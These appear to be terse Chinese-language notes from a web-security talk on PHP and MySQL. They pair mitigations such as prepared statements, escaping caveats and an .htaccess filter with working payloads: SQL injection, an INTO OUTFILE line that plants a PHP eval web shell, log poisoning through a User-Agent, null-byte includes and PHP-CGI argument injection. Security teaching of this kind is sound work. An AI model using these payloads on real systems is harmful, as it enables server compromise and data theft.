union select select 1,2,3
select 1.username,password from ...
into outfile '/var/www/a.php' lines terminated by '<?php eval($_POST["cmd"]); ?>'
mysql - /**/, %09, %0D, %A0, ()
select 'foo' = select 0x666f6f
使用 Prepared Statements 修正 SQL Injection
mysql_real_escape_string() 必須要使用 UTF-8
"root ${
eval($_POST[cmd])}";
Double Quote Evaluation 設定檔使用 Single Quote 而非 Double Quote
module=login, ./login.php%00
上傳圖片, access.log 先寫入, 再去 include access.log
User-Agent: <?php@ phpinfo();?>
PHP-CGI argument injection
index.php?-d+allow_url_include%3dOn ...
只能更新 php-cgi 版本, 將 .htaccess 把 - 過濾掉.
RewriteCond %{QUERY_STRING} ^(%2d|\-)[^=]+$ [NC]
最後的 demo 細節就不揭露了,所以弄比較快